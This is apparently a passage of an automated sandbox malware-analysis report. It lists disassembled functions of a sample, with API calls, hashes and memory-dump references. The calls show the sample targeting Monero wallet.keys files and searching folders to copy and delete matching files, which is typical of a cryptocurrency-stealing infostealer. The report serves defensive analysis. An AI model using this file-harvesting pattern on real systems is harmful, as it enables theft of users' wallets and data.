Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: ab9b78db528ce8862101d288b8a2c37e9438545efcb756b55358275ea84532a0
Instruction ID: 357a88de8bf4565669c0abc32bf96f2d22e25984788f84dc6409dc165d18e0a5
Opcode Fuzzy Hash: ab9b78db528ce8862101d288b8a2c37e9438545efcb756b55358275ea84532a0
Instruction Fuzzy Hash: 79E1E2B281011D9BDB18EBA0CD5ADFE7738BF94340F404169F60A67095EF786A49CB63

Function 005EAEF0 Relevance: 2.7, APIs: 2, Instructions: 236stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01648A20,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

Part of subcall function 005FA920: lstrcpy.KERNEL32(00000000,?), ref: 005FA972
Part of subcall function 005FA920: lstrcat.KERNEL32(00000000), ref: 005FA982

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

lstrlen.KERNEL32(00000000), ref: 005EB16A
lstrlen.KERNEL32(00000000), ref: 005EB17E

Part of subcall function 005FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005FA7E6

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: c27e0b5b3681d71896a0ad63ac2e0de1f076b4d197e011b1ec2e928a7b222c53
Instruction ID: 6a684ee799f78cdc5939c4723ed11635b9ad8e6130c50b9248b7c3a985b215fe
Opcode Fuzzy Hash: c27e0b5b3681d71896a0ad63ac2e0de1f076b4d197e011b1ec2e928a7b222c53
Instruction Fuzzy Hash: 769104B291010D9BDB18EBA0DD59DFE7738BF94340F408169F60A67095EF786A09CB63

Function 005EB230 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005FA740: lstrcpy.KERNEL32(00600E17,00000000), ref: 005FA788

Part of subcall function 005FA9B0: lstrlen.KERNEL32(?,01648A20,?,\Monero\wallet.keys,00600E17), ref: 005FA9C5
Part of subcall function 005FA9B0: lstrcpy.KERNEL32(00000000), ref: 005FAA04
Part of subcall function 005FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005FAA12

Part of subcall function 005FA920: lstrcpy.KERNEL32(00000000,?), ref: 005FA972
Part of subcall function 005FA920: lstrcat.KERNEL32(00000000), ref: 005FA982

Part of subcall function 005FA8A0: lstrcpy.KERNEL32(?,00600E17), ref: 005FA905

lstrlen.KERNEL32(00000000), ref: 005EB42E
lstrlen.KERNEL32(00000000), ref: 005EB442

Part of subcall function 005FA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005FA7E6

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 2201b305c0429c5e2677c49ca14c5b488688207c86df23f2b41b5fd5b0cb3e5c
Instruction ID: c0cbbaba9032d2e8415a791dfd67a76ba5beeb3bafa11c8e2e78d71003255cfa
Opcode Fuzzy Hash: 2201b305c0429c5e2677c49ca14c5b488688207c86df23f2b41b5fd5b0cb3e5c
Instruction Fuzzy Hash: F07132B191010D9BDB18EBA0DD5ADFE7739BF94340F404528F60AA7095EF786A09CB63

Function 005F4BB0 Relevance: 2.6, APIs: 2, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005F8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 005F8E0B

lstrcat.KERNEL32(?,00000000), ref: 005F4BEA
lstrcat.KERNEL32(?,0164D438), ref: 005F4C08

Part of subcall function 005F4910: wsprintfA.USER32 ref: 005F492C
Part of subcall function 005F4910: FindFirstFileA.KERNEL32(?,?), ref: 005F4943

Part of subcall function 005F4910: StrCmpCA.SHLWAPI(?,00600FDC), ref: 005F4971
Part of subcall function 005F4910: StrCmpCA.SHLWAPI(?,00600FE0), ref: 005F4987
Part of subcall function 005F4910: FindNextFileA.KERNEL32(000000FF,?), ref: 005F4B7D
Part of subcall function 005F4910: FindClose.KERNEL32(000000FF), ref: 005F4B92

Part of subcall function 005F4910: wsprintfA.USER32 ref: 005F49B0
Part of subcall function 005F4910: StrCmpCA.SHLWAPI(?,006008D2), ref: 005F49C5
Part of subcall function 005F4910: wsprintfA.USER32 ref: 005F49E2
Part of subcall function 005F4910: PathMatchSpecA.SHLWAPI(?,?), ref: 005F4A1E
Part of subcall function 005F4910: lstrcat.KERNEL32(?,0164E300), ref: 005F4A4A
Part of subcall function 005F4910: lstrcat.KERNEL32(?,00600FF8), ref: 005F4A5C
Part of subcall function 005F4910: lstrcat.KERNEL32(?,?), ref: 005F4A70
Part of subcall function 005F4910: lstrcat.KERNEL32(?,00600FFC), ref: 005F4A82
Part of subcall function 005F4910: lstrcat.KERNEL32(?,?), ref: 005F4A96
Part of subcall function 005F4910: CopyFileA.KERNEL32(?,?,00000001), ref: 005F4AAC
Part of subcall function 005F4910: DeleteFileA.KERNEL32(?), ref: 005F4B31

Part of subcall function 005F4910: wsprintfA.USER32 ref: 005F4A07

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 2104210347-0
Opcode ID: 9b62cfe70cb0edd56033e995d9efe48ed27ef5975e41ed3d3eacbdf078613a63
Instruction ID: 066af6d3892f258624322a1d32ee1bf2fe5bc797218b4cda6142ddf9908a21a4
Opcode Fuzzy Hash: 9b62cfe70cb0edd56033e995d9efe48ed27ef5975e41ed3d3eacbdf078613a63
Instruction Fuzzy Hash: D541BAB75002046BD768F7A0EC4AEFE373DBBC4700F00C549B69A56186EE755B898F92

Function 005E6660 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040), ref: 005E6706
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 005E6753

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 9b4a93ee507178876dc871c4e55d59631ef5ba158efe9da1b9b34c86c64d603c
Instruction ID: 62f99d418c52cfc48d149682278d7330e55fe503076c5641405d439e4b70244d
Opcode Fuzzy Hash: 9b4a93ee507178876dc871c4e55d59631ef5ba158efe9da1b9b34c86c64d603c
Instruction Fuzzy Hash: D941EE74A00209EFCB48CF59C494BADBBB1FF54394F2486A9E9599B345C731EA81CF84

Function 005F5050 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005F8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 005F8E0B

lstrcat.KERNEL32(?,00000000), ref: 005F508A
lstrcat.KERNEL32(?,0164DC08), ref: 005F50A8

Part of subcall function 005F4910: wsprintfA.USER32 ref: 005F492C
Part of subcall function 005F4910: FindFirstFileA.KERNEL32(?,?), ref: 005F4943

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: bd156ce7a0579d9bf7d97d3c0cd30f24513c2e76f60f3bcf1ee047375b45a497
Instruction ID: f9a5d54ea4b3a778227d12c32a513d385f88556bea896560deda5f5c2c7782be
Opcode Fuzzy Hash: bd156ce7a0579d9bf7d97d3c0cd30f24513c2e76f60f3bcf1ee047375b45a497
Instruction Fuzzy Hash: 31019B7690020C67CB68FB70DC46EFE777CBF94300F004554B79A56191EEB49A898FA2

Function 005E10A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 005E10B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 005E10F7

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: ee9233c8fc46ccd175b3b3a086024c79a2848dfdcf7311edc4fc21c91aa4ec29
Instruction ID: fadc9ee828cd8eb57cf842239879d97c916076d7c09d0129a95602be8245c7f3
Opcode Fuzzy Hash: ee9233c8fc46ccd175b3b3a086024c79a2848dfdcf7311edc4fc21c91aa4ec29
Instruction Fuzzy Hash: B2F0E271641218BBEB189BA4AC4DFBABBECF705B15F304448F644E3280D5719F00CAA4

Function 005F8D90 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,005E1B54,?,?,0060564C,?,?,00600E1F), ref: 005F8D9F

Memory Dump Source

Source File: 00000000.00000002.2353142539.00000000005E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000000.00000002.2353126554.00000000005E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000063A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000665000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000672000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000691000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.000000000069D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000006FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.0000000000785000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353142539.00000000007AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.000000000083E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.00000000009BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000A98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000ABD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353460358.0000000000AD4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353777685.0000000000AD5000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353922964.0000000000C6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353935482.0000000000C6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5e0000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: fdaba8f6fcbcd8a6dca5b23d4ba03953deb8fb6abe91c52c29dfcca04b955c1c
Instruction ID: 2c9e447167489da7d42219c5d75170edabf269a49db903c56007c885aefc5413
Opcode Fuzzy Hash: fdaba8f6fcbcd8a6dca5b23d4ba03953deb8fb6abe91c52c29dfcca04b955c1c
Instruction Fuzzy Hash: 55F0A570C0020CEBCB14EFA4D5496FCBB74FF11310F508599E966A72D0DB785A5ADB82

Function 005F8DE0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

